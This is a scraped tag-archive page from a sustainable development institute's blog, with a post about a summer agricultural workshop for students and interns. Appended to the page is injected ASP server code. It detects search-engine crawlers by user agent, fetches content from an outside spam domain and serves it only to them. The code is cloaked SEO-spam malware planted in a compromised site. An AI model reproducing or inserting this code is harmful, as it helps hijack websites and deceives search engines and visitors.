Tag Archive: Agricultural

Aug 03

An SLC Summer

Written by Marissa Vele, SDI Intern The SLC has been in full swing and we are nearing the end of our summer program. July 16th kicked off a two-day Agricultural Workshop that was sponsored by SDI. All SLC students and SDI summer interns were invited to the workshop.  On our first day we learned about …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2018/08/an-slc-summer/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>